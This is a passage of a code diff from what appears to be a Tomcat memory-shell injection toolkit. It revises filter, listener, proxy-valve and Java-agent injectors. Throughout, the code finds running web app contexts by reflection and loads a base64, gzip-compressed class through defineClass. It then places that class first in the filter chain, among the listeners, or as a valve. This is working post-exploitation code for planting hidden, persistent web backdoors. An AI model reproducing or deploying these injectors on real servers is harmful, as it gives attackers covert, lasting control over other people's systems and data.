return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -154,4 +158,58 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
return index; return index;
} }
} }
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
} }
@@ -2,9 +2,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import org.objectweb.asm.*; import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,6 +21,10 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
return "{{advisorName}}"; return "{{advisorName}}";
} }
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst); launch(inst);
} }
@@ -33,7 +40,6 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
} }
} }
} }
@@ -43,6 +49,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) { if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try { try {
ClassReader cr = new ClassReader(bytes); ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -53,6 +60,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -69,12 +77,8 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new TomcatFilterChainAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -154,4 +158,58 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
return index; return index;
} }
} }
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
} }
@@ -3,25 +3,24 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.HashSet;
import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Date: 2022/11/01 * @author pen4uin, ReaJason
* Author: pen4uin
* Description: Tomcat Filter 注入器 Tested version jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author ReaJason
*/ */
public class TomcatFilterInjector { public class TomcatFilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -35,40 +34,91 @@ public class TomcatFilterInjector {
} }
public TomcatFilterInjector() { public TomcatFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
} catch (Exception e) {
e.printStackTrace();
} }
} }
ok = true;
System.out.println(msg);
}
/** /**
* org.apache.catalina.core.StandardContext * org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar * /usr/local/tomcat/server/lib/catalina.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") try {
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
} }
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -80,35 +130,39 @@ public class TomcatFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object shell) throws Exception { public void inject(Object context, Object shell) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return; return;
} }
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tomcat v8+ // tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
// tomcat v5+ // tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -126,11 +180,17 @@ public class TomcatFilterInjector {
// tomcat v5 // tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} }
// addFilterMapFirst
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
try { try {
// v7.0.0 以上 // Tomcat5
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); setFieldValue(context, "filterMaps", results);
} catch (Exception e) { } catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
} }
Constructor filterConfigConstructor; Constructor filterConfigConstructor;
@@ -139,7 +199,11 @@ public class TomcatFilterInjector {
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(getClassName(), filterConfig); filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter inject success"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -198,17 +262,46 @@ public class TomcatFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass(); for (Class<?> clazz = obj.getClass();
while (clazz != Object.class) { clazz != Object.class;
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException var5) { }
clazz = clazz.getSuperclass();
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
} }
} }
throw new NoSuchFieldException();
} }
} }
@@ -3,32 +3,19 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Tomcat Listener 注入器
* 测试版本:
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author pen4uin, ReaJason * @author pen4uin, ReaJason
*/ */
public class TomcatListenerInjector { public class TomcatListenerInjector {
public TomcatListenerInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -38,26 +25,89 @@ public class TomcatListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception { public TomcatListenerInjector() {
List<Object> contexts = new ArrayList<Object>(); if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") try {
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { @SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -66,18 +116,19 @@ public class TomcatListenerInjector {
} }
} }
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -87,26 +138,26 @@ public class TomcatListenerInjector {
List<Object> listeners = (List<Object>) objects; List<Object> listeners = (List<Object>) objects;
for (Object o : listeners) { for (Object o : listeners) {
if (o.getClass().getName().equals(getClassName())) { if (o.getClass().getName().equals(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
listeners.add(listener); listeners.add(listener);
System.out.println("listener inject successful");
} else { } else {
List arrayList = new ArrayList(Arrays.asList(((Object[]) objects))); List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
for (Object o : arrayList) { for (Object o : arrayList) {
if (o.getClass().getName().equals(getClassName())) { if (o.getClass().getName().equals(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
arrayList.add(listener); arrayList.add(listener);
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()}); invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()});
System.out.println("listener inject successful");
} }
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
@@ -152,7 +203,7 @@ public class TomcatListenerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -175,8 +226,7 @@ public class TomcatListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
while (clazz != null && method == null) { while (clazz != null && method == null) {
@@ -193,12 +243,22 @@ public class TomcatListenerInjector {
if (method == null) { if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName); throw new NoSuchMethodException("Method not found: " + methodName);
} }
method.setAccessible(true); method.setAccessible(true);
System.out.println(method.getDeclaringClass().getName() + "@" + String.valueOf(obj.hashCode()).substring(0, 4) + "." + methodName + " invoked");
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { }
throw new RuntimeException("Error invoking method: " + methodName, e);
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
} }
} }
} }
@@ -3,12 +3,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.ArrayList; import java.util.HashSet;
import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -20,23 +20,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private Object rawValve; private Object rawValve;
private Object proxyValve; private Object proxyValve;
private static String msg = "";
public TomcatProxyValveInjector() { private static boolean ok = false;
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
this.rawValve = rawValve;
this.proxyValve = proxyValve;
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -46,6 +31,39 @@ public class TomcatProxyValveInjector implements InvocationHandler {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TomcatProxyValveInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
this.rawValve = rawValve;
this.proxyValve = proxyValve;
}
@Override @Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if ("invoke".equals(method.getName())) { if ("invoke".equals(method.getName())) {
@@ -57,31 +75,66 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
return method.invoke(rawValve, args);
} }
return method.invoke(rawValve, args);
} }
return method.invoke(rawValve, args); return method.invoke(rawValve, args);
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") try {
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
